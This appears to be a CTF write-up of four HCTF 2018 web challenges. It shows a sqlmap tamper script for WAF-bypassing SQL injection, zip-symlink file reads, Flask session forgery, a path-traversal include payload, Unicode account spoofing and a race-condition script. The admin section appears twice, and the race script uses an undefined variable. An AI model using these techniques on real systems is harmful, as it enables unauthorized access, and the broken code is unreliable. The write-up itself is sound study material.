hctf-2018 kzone 访问题目链接后:http://206.189.144.143:10000/ 会自动跳转到qq空间 在www.zip发现源码
源码审计 一开始看到
代码
1 2 3 4 5 <?php require_once './include/common.php'; $realip = real_ip(); $ipcount = $DB->count("SELECT count(*) from fish_user where ip='$realip'"); ...//省略
跟进real_ip()
1 2 文件:include/kill.intercept.php 方法:real_ip
用ip2long进行了ip的处理,于是这个点不存在注入
在
代码
1 2 3 4 5 6 7 8 ... //省略 $islogin = 0; if (isset($_COOKIE["islogin"])) { if ($_COOKIE["login_data"]) { $login_data = json_decode($_COOKIE['login_data'], true); $admin_user = $login_data['admin_user']; $udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1"); ... //省略
逻辑为如果cookie
存在islogin
并且cookie
里的login_data
为true
就将login_data
变量json
解码并将admin_user
变量取出,然后带入数据库查询,但是在文件include/safe.php
里进行了全局的waf 对$_GET
,$_POST
,$_COOKIE
都进行了过滤
1 2 3 4 5 6 7 function waf($string) { $blacklist = '/union|ascii|mid|left|greatest|least|substr|sleep|or|benchmark|like|regexp|if|=|-|<|>|\#|\s/i'; //忽略大小写匹配 return preg_replace_callback($blacklist, function ($match) { return '@' . $match[0] . '@'; }, $string); }
于是想办法绕过waf 由于json_decode
函数的自身特性,会自动将json
数据Unicode
解码,并且waf没有过滤反斜线 于是这里就可以绕过waf,(在writeup中是通过innodb_table_stats
来绕过or的,因为information_schema
出现了or)
于是编写tamper
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 #!/usr/bin/env python from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): pass def tamper(payload, **kwargs): data = '''{"admin_user":"%s"};''' payload = payload.lower() payload = payload.replace('u', '\u0075') payload = payload.replace('o', '\u006f') payload = payload.replace('i', '\u0069') payload = payload.replace('\'', '\u0027') payload = payload.replace('\"', '\u0022') payload = payload.replace(' ', '\u0020') payload = payload.replace('s', '\u0073') payload = payload.replace('#', '\u0023') payload = payload.replace('>', '\u003e') payload = payload.replace('<', '\u003c') payload = payload.replace('-', '\u002d') payload = payload.replace('=', '\u003d') payload = payload.replace('f1a9', 'F1a9') payload = payload.replace('f1', 'F1') return data % payload
接着拿sqlmap跑就ok getflaghctf{hctf_2018_kzone_Author_Li4n0}
hide and seek 尝试登陆admin/admin 于是随便登陆一个 上传一个php文件 于是上传zip文件 在请求包里看到了session 感觉很像flask的session 于是拿去解密 果然是,那么现在需要拿到secret_key
,入手点只有在这个上传点
zip软连接 参考:https://xz.aliyun.com/t/2589 上传一个zip,如下 zip里有test.txt
,内容为Hu3sky
上传后 内容被显示了出来 测试php代码,无法被解析
那么尝试构造软连接ln -s /etc/passwd test
接着压缩testzip -y test.zip test
然后上传zip,成功读到/etc/passwd
想读一下工作目录/proc/mounts
结果全是本机的docker文件。。于是去读/proc/self/environ
环境变量 于是去读一下这个文件/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini
发现uwsgi
配置module
是应用程序文件 即是app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py
读到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 # -*- coding: utf-8 -*- from flask import Flask,session,render_template,redirect, url_for, escape, request,Response import uuid import base64 import random import flag from werkzeug.utils import secure_filename import os random.seed(uuid.getnode()) app = Flask(__name__) app.config['SECRET_KEY'] = str(random.random()*100) app.config['UPLOAD_FOLDER'] = './uploads' app.config['MAX_CONTENT_LENGTH'] = 100 * 1024 ALLOWED_EXTENSIONS = set(['zip']) def allowed_file(filename): return '.' in filename and \ filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS @app.route('/', methods=['GET']) def index(): error = request.args.get('error', '') if(error == '1'): session.pop('username', None) return render_template('index.html', forbidden=1) if 'username' in session: return render_template('index.html', user=session['username'], flag=flag.flag) else: return render_template('index.html') @app.route('/login', methods=['POST']) def login(): username=request.form['username'] password=request.form['password'] if request.method == 'POST' and username != '' and password != '': if(username == 'admin'): return redirect(url_for('index',error=1)) session['username'] = username return redirect(url_for('index')) @app.route('/logout', methods=['GET']) def logout(): session.pop('username', None) return redirect(url_for('index')) @app.route('/upload', methods=['POST']) def upload_file(): if 'the_file' not in request.files: return redirect(url_for('index')) file = request.files['the_file'] if file.filename == '': return redirect(url_for('index')) if file and allowed_file(file.filename): filename = secure_filename(file.filename) file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename) if(os.path.exists(file_save_path)): return 'This file already exists' file.save(file_save_path) else: return 'This file is not a zipfile' try: extract_path = file_save_path + '_' os.system('unzip -n ' + file_save_path + ' -d '+ extract_path) read_obj = os.popen('cat ' + extract_path + '/*') file = read_obj.read() read_obj.close() os.system('rm -rf ' + extract_path) except Exception as e: file = None os.remove(file_save_path) if(file != None): if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1): return redirect(url_for('index', error=1)) return Response(file) if __name__ == '__main__': #app.run(debug=True) app.run(host='127.0.0.1', debug=True, port=10008)
由于
1 2 if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1): return redirect(url_for('index', error=1))
aGN0Zg==
即hctf,所以说不能直接去读flag
session伪造 看到app.config['SECRET_KEY'] = str(random.random()*100)
secret_key为随机数,随机数种子为random.seed(uuid.getnode())
即本机的mac地址 在/sys/class/net/eth0/address
可以读到 mac地址为02:42:ac:11:00:02
转换地址 https://www.vultr.com/tools/mac-converter/?mac_address= 转为十进制即为2485377892354
,也就是seed
1 2 3 >>> random.seed(2485377892354) >>> str(random.random()*100) '42.42408197657815'
得到secret_key
利用脚本
1 2 3 (test_py3) λ python flask_session加密.py encode -s "42.42408197657815" -t "{'username': 'admin' }" eyJ1c2VybmFtZSI6ImFkbWluIn0.XFuRWA.l_cGt50x2aQBqa_BO9x4xc9Erak
于是登陆,伪造session
hctf-warmup 题目分析 首先点开题目的hinthttp://warmup.2018.hctf.io/index.php?file=hint.php
看url的形式就知道本题考查的是文件包含 hint说flag not here, and flag in ffffllllaaaagggg
于是尝试去读ffffllllaaaagggg
http://warmup.2018.hctf.io/index.php?file=php://filter/read=convert.base64-encode/resource=ffffllllaaaagggg
说是you cant see it 试了几种包含的方式都包含不了 通过扫目录 发现了源码 source.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 <?php class emmm { public static function checkFile(&$page) { $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; if (! isset($page) || !is_string($page)) { echo "you can't see it"; return false; } if (in_array($page, $whitelist)) { return true; } $_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } $_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } echo "you can't see it"; return false; } } if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) { include $_REQUEST['file']; exit; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />"; } ?>
现在需要进行代码审计 先看
1 2 3 4 5 6 7 8 9 if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) { include $_REQUEST['file']; exit; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />"; }
做了几个判断
如果$_REQUEST['file']
不为空,即通过GET
,POST
,COOKIE
传入了file
参数
用is_string
检测传入的file是否为字符串
调用emmm类的checkFile方法对file进行处理
如果3个同时满足,就包含file传入的东西,然后exit。否则就echo首页的图片
然后看emmm类的checkFile函数 这里的$page
就是我们传入的file参数 首先定义$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
接着进入第一个if判断 如果file没有传入或者内容不是字符串就直接return false
然后进入第二个if判断 如果file
的内容在$whitelist
数组里面,就return ture
然后对内容进行处理
1 2 3 4 $_page = mb_substr( $page, 0, mb_strpos($page . '?', '?')
先解释mb_strpos()
即寻找?
在$page
里面第一次出现的位置 例如 $page=hu3sky?abc
返回值为6 所以现在 mb_substr()
获取前六位 即 hu3sky
接着判断$_page
是否在array里 解码 然后再用同样的方法对$_page
进行处理 如果依然在数组里 就返回true
所以我们来看payloadhint.php%3f/../../../../../../../../../../../ffffllllaaaagggg
(或者source.php%3f/../../../../../../../../../../../ffffllllaaaagggg
) 首先是?截断 经过两次判断,均是取的?
前的 hint.php
在 数组中 所以返回true 然后包含的时候会把hint.php?
当作一个目录,因为这个目录不存在 所以我们只需要跳出目录就行了
hctf-admin题目分析 看了一叶飘零师傅的题解,学到了此题的三个解法 预期解法是Unicode欺骗 非预期的session伪造和条件竞争
Unicode欺骗 此题考查的一个知识点是Unicode欺骗 拿到源码后分析源码 在app/routes.py下 注册,登陆,修改密码都对name
进行了处理,将大写转为小写。 注册
1 2 3 4 5 6 7 8 def register(): if current_user.is_authenticated: return redirect(url_for('index')) form = RegisterForm() if request.method == 'POST': name = strlower(form.username.data)
登陆
1 2 3 4 5 6 7 8 @app.route('/login', methods = ['GET', 'POST']) def login(): if current_user.is_authenticated: return redirect(url_for('index')) form = LoginForm() if request.method == 'POST': name = strlower(form.username.data)
修改密码1 2 3 4 5 6 7 @app.route('/change', methods = ['GET', 'POST']) def change(): if not current_user.is_authenticated: return redirect(url_for('login')) form = NewpasswordForm() if request.method == 'POST': name = strlower(session['name'])
都用到了strlower()
函数,看一下这个函数
1 2 3 def strlower(username): username = nodeprep.prepare(username) return username
问题出在nodeprep.prepare()
这个函数会把大写转换为小写 并且nodeprep.prepare()
会做如下转换 假如有一个ᴬ
字符 第一次调用函数时会造成ᴬ->A
,第二次调用时会A->a
所以思路就是 我们注册一个ᴬdmin
账号 此时第一次调用nodeprep.prepare()
账号变为Admin
然后再修改这个账号的密码 此时会再一次调用nodeprep.prepare()
函数,所以说改的密码就会变成admin
的密码,于是再用admin
登陆即可
session伪造 首先我创建一个hu4sky的账号 用p神的flask session解密脚本解密这个账号的session 解密脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 #!/usr/bin/env python3 import sys import zlib from base64 import b64decode from flask.sessions import session_json_serializer from itsdangerous import base64_decode def decryption(payload): payload, sig = payload.rsplit(b'.', 1) payload, timestamp = payload.rsplit(b'.', 1) decompress = False if payload.startswith(b'.'): payload = payload[1:] decompress = True try: payload = base64_decode(payload) except Exception as e: raise Exception('Could not base64 decode the payload because of ' 'an exception') if decompress: try: payload = zlib.decompress(payload) except Exception as e: raise Exception('Could not zlib decompress the payload before ' 'decoding the payload') return session_json_serializer.loads(payload) if __name__ == '__main__': print(decryption(sys.argv[1].encode()))
解密后的内容如下
1 2 3 (test_py3) λ python flask_session解密.py ".eJxFkEGLwjAQhf_KMmcPNVsvggclNShMQrtZy-QiWmvTtHWhVdZG_O8bZNm9PebxPt6bB-zPfTlYmF_ 7WzmBfX2C-QPejjAHcpU3Gkeji4g0McM3o-HLb2Q7J33WoadY5aZBkY6KL2PSySi7tUVeMGLJPega802kuLWkV50SpiaXNUG3UiQz8kXImcAyLeXJXQmKDV9Z1DijPJ1KljXI0Ie8U_zTk668dBiRT8O1iCQ_BZZs0dECnhMohv68v3415eV_Asta7DaRETSTAmNi6Z38yipO01DTG761SluHYmulXwdc9U7p4oWru0NV_pHSndEfv87l0AUD7C0emhEmcBvK_vU4mEbw_AGvvWz9.W-q3fA.h2EVERGD_FJH1ohWca0ouYKJ-9k" {'image': b'AVSI', 'csrf_token': b'cde2b4df94c8cd1c0a865073d2a98c0ba71da87a', '_fresh': True, '_id': b'b83e32e74a66d22d003ec74f3689fd0d2808a126aa076ca16ab1b488aa0f8fbb4da0e4a9c7286c76eaa18f8d0a139ad57dd3c388c853a83634c4637447da3e26', 'user_id': '10', 'name': 'hu4sky'}
而再index.html
中有
1 2 {% if current_user.is_authenticated and session['name'] == 'admin' %} <h1 class="nav">hctf{xxxxxxxxx}</h1>
所以说只需要将session['name']
置为admin
即可getflag flask 加密脚本https://github.com/noraj/flask-session-cookie-manager/blob/master/session_cookie_manager.py
需要secret key
在 app/config.py
下 是ckj123
加密
1 2 3 4 (test_py3) λ python flask_session加密.py encode -s "ckj123" -t "{'image': b'AVSI', 'csrf_token': b'cde2b4df94c8cd1c0a865073d2a98c0ba71da8 7a', '_fresh': True, '_id': b'b83e32e74a66d22d003ec74f3689fd0d2808a126aa076ca16ab1b488aa0f8fbb4da0e4a9c7286c76eaa18f8d0a139ad57dd3c388c853a83634c4637447da3e26', 'user_id': '1', 'name': 'admin'}" .eJxFkFFrwjAUhf_KuM8-1Ky-CD4oqUHhJrTLLDcv4mptmjYOqjIb8b8vjLG9He7hfJxzH7A_DfXFwvw63OoJ7NsjzB_w8gFzINcEo3E0ukpIEzN8Mxq-_EK2czIUHgOlqjQdinxUfJmSzkbp1xZ5xYhl96hbLDeJ4taSXnklTEuu6KLupchmFKqYM5FleiqzuxKUGr6yqHFGZT6VrOiQYYh5p_h7IN0E6TChkMdrlUh-jCzZo6MFPCdQXYbT_vrZ1ef_Cazo0W8SI2gmBabE8juFlVWcprFmMHxrlbYOxdbKsI645pXyxQ-u9Yem_iPlO6Pffp3zwUcDDkffnmECt0s9_PwNpvD8BtUPbG4.W-q33Q.LCixv7M1b2tb4U8ySMi-voSIw4g
getflag
条件竞争 看代码app/routes.py
login处和change处都对name进行session赋值 并且没有check身份
1 2 3 4 5 6 7 8 def login(): if current_user.is_authenticated: return redirect(url_for('index')) form = LoginForm() if request.method == 'POST': name = strlower(form.username.data) session['name'] = name
1 2 3 4 5 6 def change(): if not current_user.is_authenticated: return redirect(url_for('login')) form = NewpasswordForm() if request.method == 'POST': name = strlower(session['name'])
name
可控 所以思路是
a用户登陆并且尝试修改密码
登出后以admin作为用户名登陆
脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 import requests import threading def login(s,username,password): data = { 'username': username, 'password': password, 'submit': '' } url = 'http://admin.2018.hctf.io/login' return s.post(url,data=data) def change(s,newpassword): data = { 'newpassword':newpassword } url = 'http://admin.2018.hctf.io/change' return s.post(url,data=data) def logout(s): url = 'http://admin.2018.hctf.io/logout' return s.get(url) def func1(s): login(s,'hu3sky','hu3sky') change(s,'12345') def func2(s): logout(s) login(s,'admin','12345') if '<a href="/index">/index</a>' in res.text: print('finish') def main(): for i in range(1,1000): s = requests.Session() print(i) t1 = threading.Thread(target=func1,args=(s,)) t2 = threading.Thread(target=func2,args=(s,)) t1.start() t2.start() if __name__ == '__main__': main()
hctf-admin题目分析 看了一叶飘零师傅的题解,学到了此题的三个解法 预期解法是Unicode欺骗 非预期的session伪造和条件竞争
Unicode欺骗 此题考查的一个知识点是Unicode欺骗 拿到源码后分析源码 在app/routes.py下 注册,登陆,修改密码都对name
进行了处理,将大写转为小写。 注册
1 2 3 4 5 6 7 8 def register(): if current_user.is_authenticated: return redirect(url_for('index')) form = RegisterForm() if request.method == 'POST': name = strlower(form.username.data)
登陆
1 2 3 4 5 6 7 8 @app.route('/login', methods = ['GET', 'POST']) def login(): if current_user.is_authenticated: return redirect(url_for('index')) form = LoginForm() if request.method == 'POST': name = strlower(form.username.data)
修改密码
1 2 3 4 5 6 7 @app.route('/change', methods = ['GET', 'POST']) def change(): if not current_user.is_authenticated: return redirect(url_for('login')) form = NewpasswordForm() if request.method == 'POST': name = strlower(session['name'])
都用到了strlower()
函数,看一下这个函数
1 2 3 def strlower(username): username = nodeprep.prepare(username) return username
问题出在nodeprep.prepare()
这个函数会把大写转换为小写 并且nodeprep.prepare()
会做如下转换 假如有一个ᴬ
字符 第一次调用函数时会造成ᴬ->A
,第二次调用时会A->a
所以思路就是 我们注册一个ᴬdmin
账号 此时第一次调用nodeprep.prepare()
账号变为Admin
然后再修改这个账号的密码 此时会再一次调用nodeprep.prepare()
函数,所以说改的密码就会变成admin
的密码,于是再用admin
登陆即可
session伪造 首先我创建一个hu4sky的账号 用p神的flask session解密脚本解密这个账号的session 解密脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 #!/usr/bin/env python3 import sys import zlib from base64 import b64decode from flask.sessions import session_json_serializer from itsdangerous import base64_decode def decryption(payload): payload, sig = payload.rsplit(b'.', 1) payload, timestamp = payload.rsplit(b'.', 1) decompress = False if payload.startswith(b'.'): payload = payload[1:] decompress = True try: payload = base64_decode(payload) except Exception as e: raise Exception('Could not base64 decode the payload because of ' 'an exception') if decompress: try: payload = zlib.decompress(payload) except Exception as e: raise Exception('Could not zlib decompress the payload before ' 'decoding the payload') return session_json_serializer.loads(payload) if __name__ == '__main__': print(decryption(sys.argv[1].encode()))
解密后的内容如下
1 2 3 (test_py3) λ python flask_session解密.py ".eJxFkEGLwjAQhf_KMmcPNVsvggclNShMQrtZy-QiWmvTtHWhVdZG_O8bZNm9PebxPt6bB-zPfTlYmF_ 7WzmBfX2C-QPejjAHcpU3Gkeji4g0McM3o-HLb2Q7J33WoadY5aZBkY6KL2PSySi7tUVeMGLJPega802kuLWkV50SpiaXNUG3UiQz8kXImcAyLeXJXQmKDV9Z1DijPJ1KljXI0Ie8U_zTk668dBiRT8O1iCQ_BZZs0dECnhMohv68v3415eV_Asta7DaRETSTAmNi6Z38yipO01DTG761SluHYmulXwdc9U7p4oWru0NV_pHSndEfv87l0AUD7C0emhEmcBvK_vU4mEbw_AGvvWz9.W-q3fA.h2EVERGD_FJH1ohWca0ouYKJ-9k" {'image': b'AVSI', 'csrf_token': b'cde2b4df94c8cd1c0a865073d2a98c0ba71da87a', '_fresh': True, '_id': b'b83e32e74a66d22d003ec74f3689fd0d2808a126aa076ca16ab1b488aa0f8fbb4da0e4a9c7286c76eaa18f8d0a139ad57dd3c388c853a83634c4637447da3e26', 'user_id': '10', 'name': 'hu4sky'}
而再index.html
中有
1 2 {% if current_user.is_authenticated and session['name'] == 'admin' %} <h1 class="nav">hctf{xxxxxxxxx}</h1>
所以说只需要将session['name']
置为admin
即可getflag flask 加密脚本https://github.com/noraj/flask-session-cookie-manager/blob/master/session_cookie_manager.py
需要secret key
在 app/config.py
下 是ckj123
加密
1 2 3 (test_py3) λ python flask_session加密.py encode -s "ckj123" -t "{'image': b'AVSI', 'csrf_token': b'cde2b4df94c8cd1c0a865073d2a98c0ba71da8 7a', '_fresh': True, '_id': b'b83e32e74a66d22d003ec74f3689fd0d2808a126aa076ca16ab1b488aa0f8fbb4da0e4a9c7286c76eaa18f8d0a139ad57dd3c388c853a83634c4637447da3e26', 'user_id': '1', 'name': 'admin'}" .eJxFkFFrwjAUhf_KuM8-1Ky-CD4oqUHhJrTLLDcv4mptmjYOqjIb8b8vjLG9He7hfJxzH7A_DfXFwvw63OoJ7NsjzB_w8gFzINcEo3E0ukpIEzN8Mxq-_EK2czIUHgOlqjQdinxUfJmSzkbp1xZ5xYhl96hbLDeJ4taSXnklTEuu6KLupchmFKqYM5FleiqzuxKUGr6yqHFGZT6VrOiQYYh5p_h7IN0E6TChkMdrlUh-jCzZo6MFPCdQXYbT_vrZ1ef_Cazo0W8SI2gmBabE8juFlVWcprFmMHxrlbYOxdbKsI645pXyxQ-u9Yem_iPlO6Pffp3zwUcDDkffnmECt0s9_PwNpvD8BtUPbG4.W-q33Q.LCixv7M1b2tb4U8ySMi-voSIw4g
getflag
条件竞争 看代码app/routes.py
login处和change处都对name进行session赋值 并且没有check身份
1 2 3 4 5 6 7 8 def login(): if current_user.is_authenticated: return redirect(url_for('index')) form = LoginForm() if request.method == 'POST': name = strlower(form.username.data) session['name'] = name
1 2 3 4 5 6 def change(): if not current_user.is_authenticated: return redirect(url_for('login')) form = NewpasswordForm() if request.method == 'POST': name = strlower(session['name'])
name
可控 所以思路是
a用户登陆并且尝试修改密码
登出后以admin作为用户名登陆
脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 import requests import threading def login(s,username,password): data = { 'username': username, 'password': password, 'submit': '' } url = 'http://admin.2018.hctf.io/login' return s.post(url,data=data) def change(s,newpassword): data = { 'newpassword':newpassword } url = 'http://admin.2018.hctf.io/change' return s.post(url,data=data) def logout(s): url = 'http://admin.2018.hctf.io/logout' return s.get(url) def func1(s): login(s,'hu3sky','hu3sky') change(s,'12345') def func2(s): logout(s) login(s,'admin','12345') if '<a href="/index">/index</a>' in res.text: print('finish') def main(): for i in range(1,1000): s = requests.Session() print(i) t1 = threading.Thread(target=func1,args=(s,)) t2 = threading.Thread(target=func2,args=(s,)) t1.start() t2.start() if __name__ == '__main__': main()